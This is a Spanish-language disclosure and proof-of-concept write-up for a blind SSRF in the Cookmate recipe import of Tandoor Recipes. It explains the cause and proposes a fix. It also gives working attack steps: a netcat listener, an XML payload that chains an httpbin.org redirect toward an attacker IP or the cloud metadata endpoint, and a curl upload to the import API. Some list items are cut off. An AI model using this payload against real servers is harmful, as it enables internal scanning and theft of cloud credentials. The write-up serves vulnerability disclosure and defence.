
Prueba de concepto de exploit para CVE-2026-25991, un SSRF ciego en la importación de Cookmate de Tandoor Recipes, que permite a usuarios autenticados acceder a recursos internos.
Prueba de concepto para SSRF mediante importación de recetas
Divulgación: Reportado originalmente por mí a través de GHSA-j6xg-85mh-qqf7
⚠️ Solo para pruebas de penetración/investigación autorizadas.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-25991 |
| Gravedad | 🔴 Alta |
| Puntuación CVSS | 7.7 |
| Vector CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Producto afectado | Tandoor Recipes ≤ 2.5.0 |
| Versión parcheada | 2.5.1 |
| Aviso | GHSA-j6xg-85mh-qqf7 |
Descubrí una vulnerabilidad de Server-Side Request Forgery (SSRF) ciego en la función de importación de recetas Cookmate de Tandoor Recipes. La aplicación no valida la URL de destino después de seguir redirecciones HTTP, lo que permite que cualquier usuario autenticado (incluidos usuarios estándar sin privilegios administrativos) fuerce al servidor a conectarse a recursos internos o externos arbitrarios.
Esta vulnerabilidad puede aprovecharse para escanear puertos de la red interna, acceder a metadatos de instancias en la nube (por ejemplo, el servicio de metadatos de AWS/GCP) o revelar la dirección IP real del servidor.
La vulnerabilidad se encuentra en cookbook/integration/cookmate.py, dentro de la clase de integración Cookmate.
imageurl.validate_import_url (en cookbook/helper/HelperFunctions.py), que bloquea correctamente los rangos de IP privadas (por ejemplo, 127.0.0.1, 10.0.0.0/8).requests.get(url) para descargar la imagen. De forma predeterminada, la biblioteca requests sigue las redirecciones (allow_redirects=True).
La función validate_import_url solo comprueba la URL inicial, pero no valida el destino final después de que ocurre una redirección.Fragmento de código vulnerable (cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# CRÍTICO: requests.get sigue redirecciones de forma predeterminada, evadiendo la comprobación inicial.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
Un atacante puede usar un servicio externo (como httpbin.org) para redirigir la solicitud a una dirección interna restringida (por ejemplo, http://127.0.0.1:80/ o http://169.254.169.254/).
Fundamentalmente, AppImportView (cookbook/views/api.py) permite explícitamente los permisos CustomIsUser, lo que significa que CUALQUIER usuario registrado puede desencadenar esta vulnerabilidad. No se requieren derechos administrativos especiales.
Requisitos previos:
nc).Pasos para reproducir:
Configurar un listener (máquina del atacante):
Abre una terminal e inicia nc para escuchar conexiones entrantes. Esto simula un servicio interno o un servidor controlado por el atacante.
nc -lvnp 9999
Crear un payload XML malicioso:
Crea un archivo llamado payload.xml. Reemplaza <YOUR_IP> con tu dirección IP pública (o IP alcanzable).
Este payload usa httpbin.org para evadir la comprobación inicial de IP privada y redirigir a tu listener.
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- Redirigir al servicio interno o al listener del atacante -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

Crear un archivo ZIP: Tandoor requiere que el XML esté dentro de un archivo ZIP.
zip payload.zip payload.xml
Ejecutar el exploit (mediante API):
Inicia sesión como Usuario Estándar (no administrador) para obtener la cookie de sesión y el token CSRF.
Luego envía una solicitud POST a /api/import/:
(Reemplaza <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> con los valores reales)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc). Verás una solicitud HTTP GET entrante desde el servidor de Tandoor.
Esto confirma que el servidor, actuando en nombre de un usuario estándar, se ha conectado a un recurso externo/interno arbitrario.
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/) para robar credenciales IAM, lo que lleva al compromiso total de la infraestructura.Deshabilitar el seguimiento automático de redirecciones en la llamada requests.get o implementar una validación estricta para las URL de redirección.
Diff (corrección propuesta):
# cookbook/integration/cookmate.py
# Opción 1: Deshabilitar redirecciones (recomendado)
response = requests.get(url, allow_redirects=False)
# Opción 2: Validar redirecciones
# (Se requiere lógica compleja para comprobar cada salto de redirección contra rangos de IP privadas)